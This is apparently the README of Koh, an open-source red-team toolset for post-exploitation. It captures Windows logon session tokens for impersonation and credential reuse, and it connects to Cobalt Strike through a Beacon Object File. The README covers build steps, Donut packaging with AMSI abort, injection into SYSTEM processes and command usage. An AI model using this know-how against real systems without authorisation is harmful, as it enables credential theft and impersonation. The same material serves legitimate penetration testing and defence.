ghostpack/kohCaptures Windows logon session tokens via token leakage to enable credential reuse and impersonation, with Cobalt Strike BOF integration for post-exploitation token theft.
Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.
Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.
For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.
@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.
Koh is licensed under the BSD 3-Clause license.
The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).
We are not planning on releasing binaries for Koh, so you will have to compile yourself :)
Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe assembly and Koh.bin Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe:
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut's license is BSD 3-clause.
Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]
Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.

The current usable client is a Beacon Object File at .\Clients\BOF\. Load the .\Clients\BOF\KohClient.cna aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).
To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64
